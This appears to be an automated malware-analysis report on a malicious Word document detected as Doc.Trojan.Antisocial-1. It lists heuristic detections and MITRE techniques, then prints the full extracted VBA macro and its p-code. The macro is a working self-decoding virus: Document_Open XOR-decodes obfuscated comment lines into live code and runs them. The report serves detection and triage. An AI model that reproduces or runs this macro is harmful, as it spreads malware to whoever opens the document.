MALICIOUS
232
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing obfuscated VBA macros. The Document_Open macro is designed to deobfuscate and execute code, which is a common technique for downloading and running additional malware. The ClamAV detection 'Doc.Trojan.Antisocial-1' further supports its malicious nature. No specific family could be identified due to the obfuscation.
Heuristics 7
-
ClamAV: Doc.Trojan.Antisocial-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Antisocial-1
-
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Document_Open() Application.EnableCancelKey = wdCancelDisabled -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://www.iec.ch In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 10130 bytes |
SHA-256: 3cb360906dc5c980f185be74d7dc52b052a57f3be061f8c3e6d8fa9892d01ffe |
|||
|
Detection
ClamAV:
Doc.Trojan.Antisocial-1
Obfuscation or payload:
likely
73 of 129 identifiers look randomly generated (e.g. 'IEGLMJAXWkbpsevaXImgvkwkbpXSmj') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Application.EnableCancelKey = wdCancelDisabled
For V1 = 18 To 77
V2 = Null
V3 = (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(V1, 1))
V4 = Asc((Mid(V3, 2, 1)))
V5 = V4 Xor 39
For V6 = 3 To Len(V3)
V7 = Asc(Mid(V3, V6, 1)) Xor V5
V2 = V2 & Chr(V7)
Next
V8 = V2
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine V1, V8
Next
Call VM
End Sub
Private Sub VM()
'"Jk%@wwjw%W`vph`%K`}q
' Ahu'Q6':'6?'Sh'00
'&W3!<!Otmm
'%T1"?" % "$"*VjkqFmawoglv,T@Rpmhgav,T@Amormlglvq,Kvgo*3+,AmfgOmfwng,Nklgq*T3."3++
'!P2&;&Ohr.Thb./&,&>/&-&7
'#Bkv$R1$9$5$Pk$Haj,R7-
'$U5#>#Bp`+Njg+U0/#U6/#2**#[lq#U7
'%T0"?"T0"$"Ajp*T4+
'!Hc~r&P3
'/^?(5(^:
'"QmlvAjfph`kq+SGUwjo`fq+SGFjhujk`kqv+Lq`h-4,+Fja`Hjapi`+W`uidf`Ilk`%S4)%'"'%#%S2
'&Odyu!W0
' SC':'SontChdrjbis)QEWuhmbds)QEDhjwhibist)Nsbj/6.)DhcbJhcrkb)Knibt/6+'SontChdrjbis)QEWuhmbds)QEDhjwhibist)Nsbj/6.)DhcbJhcrkb)DhrisHaKnibt.
'#W}wpai*TvmrepaTvkbmhaWpvmjc,&&($&LOA][HKGEH[IEGLMJAXWkbpsevaXImgvkwkbpXSmj`kswXGqvvajpRavwmkjXVqj&($&Imvamhha&-$9$&G>XImvamhha*rfw&
'#Ktaj$&G>XImvamhha*rfw&$Bkv$Kqptqp$Ew$'5
'#Tvmjp$'5($&Wap$skv`kfn$9$GvaepaKfnagp,&$"$Glv,70-$"$&Skv`*Etthmgepmkj&$"$Glv,70-$"$&-&
'%Rpklv"!3." Okpgknng"?"uqapkrv,QapkrvDwnnLcog
'$Sqjmw# 2/#!Pfw#MW#>#tlqglai-MlqnboWfnsobwf-UASqlif`w-UA@lnslmfmwp-Jwfn+2*!
'&Qshou!"0-!#OU/BnedLnetmd/EdmdudMhodr!0-!OU/BnedLnetmd/BntouNgMhodr#
'"Uwlkq%&4)%'KQ+Fja`Hjapi`+DaaCwjhCli`%Hlw`lii`'
'%Rpklv"!3." LV,AmfgOmfwng,FgngvgNklgq"3."5
'/Xzaf|(+9$(* gzlgjb&Y}a|*
'&Qshou!"0-!UE
'#Ghkwa$'5
'$Lswjlmp-UjqvpSqlwf`wjlm#>#+Qmg#)#3*
' Hwsnhit)TfqbIhujfkWuhjws':'/Uic'-'7.
' Hwsnhit)DhianujDhiqbutnhit':'/Uic'-'7.
'$MlqnboWfnsobwf-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof-GfofwfOjmfp#2/#MlqnboWfnsobwf-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof-@lvmwLeOjmfp
'!HitkgjRckvjgrc(PDVtilcer(PDEikvihchru(Orck.7/(EibcKibsjc(Gbb@tikUrtoha&RB
'$B`wjufGl`vnfmw-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof-GfofwfOjmfp#2/#B`wjufGl`vnfmw-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof-@lvmwLeOjmfp
'&@buhwdEnbtldou/WCQsnkdbu/WCBnlqnodour/Hudl)0(/BnedLnetmd/@eeGsnlRushof!UE
'&@buhwdEnbtldou/R`wd@r!GhmdO`ld;<@buhwdEnbtldou/GtmmO`ld
'$Je#Pzpwfn-SqjubwfSqlejofPwqjmd+!!/#!KHFZ\@VQQFMW\VPFQ_Plewtbqf_Nj`qlplew_Leej`f_!/#!Njqfjoof!*#?=#!Afbvwz!#Wkfm
' Tbs'P6':'DubfsbHembds/%Hrskhhl)Fwwkndfsnhi%.
'$Pfw#NM#>#laiLO-DfwMbnfPsb`f+!NBSJ!*
'%Kd"U3"?" Mwvnmmi "Vjgl
'#S7*Hkckj$&tvkbmha&($&tewwskv`&
'$Elq#T1#>#2#Wl#T0-BggqfppOjpwp-@lvmw
'$Pfw#BggzAllh#>#T0-BggqfppOjpwp+T1*
'&Rdu!V5!<!V0/Bsd`udHudl)1(
'#Bkv$S1$9$5$Pk$E``}Fkko*E``vawwAjpvmaw*Gkqjp
'%U4"?"Cff{@mmi,CffpgqqGlvpkgq*U7+
' P3)Ubdnwnbist)Fcc'Wbbw
'"K`}q%R0
' P3)Trembds':'%Njwhusfis'Jbttf`b'Auhj'%'!'Fwwkndfsnhi)RtbuIfjb
'/_?(5(Af| Zfl("(<!(#(9
'$Je#T4#>#2#Wkfm#T;#>#!Wkjp#jp#jmwfqfpwjmd---!
'"Lc%R2%8%7%Qm`k%R=%8%'Ijjn%rmdq%L%cjpka+++'
'&Hg!V6!<!2!Uido!V9!<!#Bidbj!uihr!ntu///#
'!O`&Q1&;&2&Rnch&Q>&;&$Tcgb&rnou((($
'#Mb$S3$9$1$Plaj$S<$9$&&
'/_<&Jglq(5(_0
'&V5/@uu`bildour/@ee!UihrEnbtldou/GtmmO`ld
'/_<&[mfl
'"R3%8%''
'$Mf{w#T1
'%U1,Nmemdd
'#Aj`$Mb
'%Q{qvgo,RpktcvgRpmdkngQvpkle* ." JIG[]AWPPGLV]WQGP^Qmdvucpg^Okapmqmdv^Mddkag^ ." Okpgknng +"?" @gcwv{
'/Mfl(An(/Eazmaddm(\`m(Ogllm{{
End Sub
' Processing file: /tmp/qstore_vqyb9vf1
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 29523 bytes
' Line #0:
' FuncDefn (Private Sub Document_Open())
' Line #1:
' Ld wdCancelDisabled
' Ld Application
' MemSt EnableCancelKey
' Line #2:
' StartForVariable
' Ld V1
' EndForVariable
' LitDI2 0x0012
' LitDI2 0x004D
' For
' Line #3:
' LitVarSpecial (Null)
' St V2
' Line #4:
' Ld V1
' LitDI2 0x0001
' LitDI2 0x0001
' Ld ThisDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemLd Lines 0x0002
' Paren
' St V3
' Line #5:
' Ld V3
' LitDI2 0x0002
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' Paren
' ArgsLd Asc 0x0001
' St V4
' Line #6:
' Ld V4
' LitDI2 0x0027
' Xor
' St V5
' Line #7:
' StartForVariable
' Ld V6
' EndForVariable
' LitDI2 0x0003
' Ld V3
' FnLen
' For
' Line #8:
' Ld V3
' Ld V6
' LitDI2 0x0001
' ArgsLd Mid$ 0x0003
' ArgsLd Asc 0x0001
' Ld V5
' Xor
' St V7
' Line #9:
' Ld V2
' Ld V7
' ArgsLd Chr 0x0001
' Concat
' St V2
' Line #10:
' StartForVariable
' Next
' Line #11:
' Ld V2
' St V8
' Line #12:
' Ld V1
' Ld V8
' LitDI2 0x0001
' Ld ThisDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd CodeModule
' ArgsMemCall ReplaceLine 0x0002
' Line #13:
' StartForVariable
' Next
' Line #14:
' ArgsCall (Call) VM 0x0000
' Line #15:
' EndSub
' Line #16:
' FuncDefn (Private Sub VM())
' Line #17:
' QuoteRem 0x0000 0x0015 ""Jk%@wwjw%W`vph`%K`}q"
' Line #18:
' QuoteRem 0x0000 0x0012 " Ahu'Q6':'6?'Sh'00"
' Line #19:
' QuoteRem 0x0000 0x000A "&W3!<!Otmm"
' Line #20:
' QuoteRem 0x0000 0x0051 "%T1"?" % "$"*VjkqFmawoglv,T@Rpmhgav,T@Amormlglvq,Kvgo*3+,AmfgOmfwng,Nklgq*T3."3++"
' Line #21:
' QuoteRem 0x0000 0x0018 "!P2&;&Ohr.Thb./&,&>/&-&7"
' Line #22:
' QuoteRem 0x0000 0x0016 "#Bkv$R1$9$5$Pk$Haj,R7-"
' Line #23:
' QuoteRem 0x0000 0x0020 "$U5#>#Bp`+Njg+U0/#U6/#2**#[lq#U7"
' Line #24:
' QuoteRem 0x0000 0x0012 "%T0"?"T0"$"Ajp*T4+"
' Line #25:
' QuoteRem 0x0000 0x0008 "!Hc~r&P3"
' Line #26:
' QuoteRem 0x0000 0x0008 "/^?(5(^:"
' Line #27:
' QuoteRem 0x0000 0x0050 ""QmlvAjfph`kq+SGUwjo`fq+SGFjhujk`kqv+Lq`h-4,+Fja`Hjapi`+W`uidf`Ilk`%S4)%'"'%#%S2"
' Line #28:
' QuoteRem 0x0000 0x0008 "&Odyu!W0"
' Line #29:
' QuoteRem 0x0000 0x008A " SC':'SontChdrjbis)QEWuhmbds)QEDhjwhibist)Nsbj/6.)DhcbJhcrkb)Knibt/6+'SontChdrjbis)QEWuhmbds)QEDhjwhibist)Nsbj/6.)DhcbJhcrkb)DhrisHaKnibt."
' Line #30:
' QuoteRem 0x0000 0x0084 "#W}wpai*TvmrepaTvkbmhaWpvmjc,&&($&LOA][HKGEH[IEGLMJAXWkbpsevaXImgvkwkbpXSmj`kswXGqvvajpRavwmkjXVqj&($&Imvamhha&-$9$&G>XImvamhha*rfw&"
' Line #31:
' QuoteRem 0x0000 0x0028 "#Ktaj$&G>XImvamhha*rfw&$Bkv$Kqptqp$Ew$'5"
' Line #32:
' QuoteRem 0x0000 0x0057 "#Tvmjp$'5($&Wap$skv`kfn$9$GvaepaKfnagp,&$"$Glv,70-$"$&Skv`*Etthmgepmkj&$"$Glv,70-$"$&-&"
' Line #33:
' QuoteRem 0x0000 0x002D "%Rpklv"!3." Okpgknng"?"uqapkrv,QapkrvDwnnLcog"
' Line #34:
' QuoteRem 0x0000 0x004B "$Sqjmw# 2/#!Pfw#MW#>#tlqglai-MlqnboWfnsobwf-UASqlif`w-UA@lnslmfmwp-Jwfn+2*!"
' Line #35:
' QuoteRem 0x0000 0x0044 "&Qshou!"0-!#OU/BnedLnetmd/EdmdudMhodr!0-!OU/BnedLnetmd/BntouNgMhodr#"
' Line #36:
' QuoteRem 0x0000 0x002F ""Uwlkq%&4)%'KQ+Fja`Hjapi`+DaaCwjhCli`%Hlw`lii`'"
' Line #37:
' QuoteRem 0x0000 0x002A "%Rpklv"!3." LV,AmfgOmfwng,FgngvgNklgq"3."5"
' Line #38:
' QuoteRem 0x0000 0x0019 "/Xzaf|(+9$(* gzlgjb&Y}a|*"
' Line #39:
' QuoteRem 0x0000 0x000D "&Qshou!"0-!UE"
' Line #40:
' QuoteRem 0x0000 0x0009 "#Ghkwa$'5"
' Line #41:
' QuoteRem 0x0000 0x0024 "$Lswjlmp-UjqvpSqlwf`wjlm#>#+Qmg#)#3*"
' Line #42:
' QuoteRem 0x0000 0x0025 " Hwsnhit)TfqbIhujfkWuhjws':'/Uic'-'7."
' Line #43:
' QuoteRem 0x0000 0x0027 " Hwsnhit)DhianujDhiqbutnhit':'/Uic'-'7."
' Line #44:
' QuoteRem 0x0000 0x008E "$MlqnboWfnsobwf-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof-GfofwfOjmfp#2/#MlqnboWfnsobwf-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof-@lvmwLeOjmfp"
' Line #45:
' QuoteRem 0x0000 0x004A "!HitkgjRckvjgrc(PDVtilcer(PDEikvihchru(Orck.7/(EibcKibsjc(Gbb@tikUrtoha&RB"
' Line #46:
' QuoteRem 0x0000 0x008E "$B`wjufGl`vnfmw-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof-GfofwfOjmfp#2/#B`wjufGl`vnfmw-UASqlif`w-UA@lnslmfmwp-Jwfn+2*-@lgfNlgvof-@lvmwLeOjmfp"
' Line #47:
' QuoteRem 0x0000 0x004A "&@buhwdEnbtldou/WCQsnkdbu/WCBnlqnodour/Hudl)0(/BnedLnetmd/@eeGsnlRushof!UE"
' Line #48:
' QuoteRem 0x0000 0x0038 "&@buhwdEnbtldou/R`wd@r!GhmdO`ld;<@buhwdEnbtldou/GtmmO`ld"
' Line #49:
' QuoteRem 0x0000 0x0070 "$Je#Pzpwfn-SqjubwfSqlejofPwqjmd+!!/#!KHFZ\@VQQFMW\VPFQ_Plewtbqf_Nj`qlplew_Leej`f_!/#!Njqfjoof!*#?=#!Afbvwz!#Wkfm"
' Line #50:
' QuoteRem 0x0000 0x002D " Tbs'P6':'DubfsbHembds/%Hrskhhl)Fwwkndfsnhi%."
' Line #51:
' QuoteRem 0x0000 0x0024 "$Pfw#NM#>#laiLO-DfwMbnfPsb`f+!NBSJ!*"
' Line #52:
' QuoteRem 0x0000 0x0017 "%Kd"U3"?" Mwvnmmi "Vjgl"
' Line #53:
' QuoteRem 0x0000 0x001F "#S7*Hkckj$&tvkbmha&($&tewwskv`&"
' Line #54:
' QuoteRem 0x0000 0x0024 "$Elq#T1#>#2#Wl#T0-BggqfppOjpwp-@lvmw"
' Line #55:
' QuoteRem 0x0000 0x0023 "$Pfw#BggzAllh#>#T0-BggqfppOjpwp+T1*"
' Line #56:
' QuoteRem 0x0000 0x001A "&Rdu!V5!<!V0/Bsd`udHudl)1("
' Line #57:
' QuoteRem 0x0000 0x002C "#Bkv$S1$9$5$Pk$E``}Fkko*E``vawwAjpvmaw*Gkqjp"
' Line #58:
' QuoteRem 0x0000 0x0021 "%U4"?"Cff{@mmi,CffpgqqGlvpkgq*U7+"
' Line #59:
' QuoteRem 0x0000 0x0017 " P3)Ubdnwnbist)Fcc'Wbbw"
' Line #60:
' QuoteRem 0x0000 0x0008 ""K`}q%R0"
' Line #61:
' QuoteRem 0x0000 0x003E " P3)Trembds':'%Njwhusfis'Jbttf`b'Auhj'%'!'Fwwkndfsnhi)RtbuIfjb"
' Line #62:
' QuoteRem 0x0000 0x0016 "/_?(5(Af| Zfl("(<!(#(9"
' Line #63:
' QuoteRem 0x0000 0x002D "$Je#T4#>#2#Wkfm#T;#>#!Wkjp#jp#jmwfqfpwjmd---!"
' Line #64:
' QuoteRem 0x0000 0x002B ""Lc%R2%8%7%Qm`k%R=%8%'Ijjn%rmdq%L%cjpka+++'"
' Line #65:
' QuoteRem 0x0000 0x0028 "&Hg!V6!<!2!Uido!V9!<!#Bidbj!uihr!ntu///#"
' Line #66:
' QuoteRem 0x0000 0x0023 "!O`&Q1&;&2&Rnch&Q>&;&$Tcgb&rnou((($"
' Line #67:
' QuoteRem 0x0000 0x0017 "#Mb$S3$9$1$Plaj$S<$9$&&"
' Line #68:
' QuoteRem 0x0000 0x000D "/_<&Jglq(5(_0"
' Line #69:
' QuoteRem 0x0000 0x0029 "&V5/@uu`bildour/@ee!UihrEnbtldou/GtmmO`ld"
' Line #70:
' QuoteRem 0x0000 0x0008 "/_<&[mfl"
' Line #71:
' QuoteRem 0x0000 0x0008 ""R3%8%''"
' Line #72:
' QuoteRem 0x0000 0x0008 "$Mf{w#T1"
' Line #73:
' QuoteRem 0x0000 0x000A "%U1,Nmemdd"
' Line #74:
' QuoteRem 0x0000 0x0007 "#Aj`$Mb"
' Line #75:
' QuoteRem 0x0000 0x0066 "%Q{qvgo,RpktcvgRpmdkngQvpkle* ." JIG[]AWPPGLV]WQGP^Qmdvucpg^Okapmqmdv^Mddkag^ ." Okpgknng +"?" @gcwv{"
' Line #76:
' QuoteRem 0x0000 0x001D "/Mfl(An(/Eazmaddm(\`m(Ogllm{{"
' Line #77:
' EndSub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.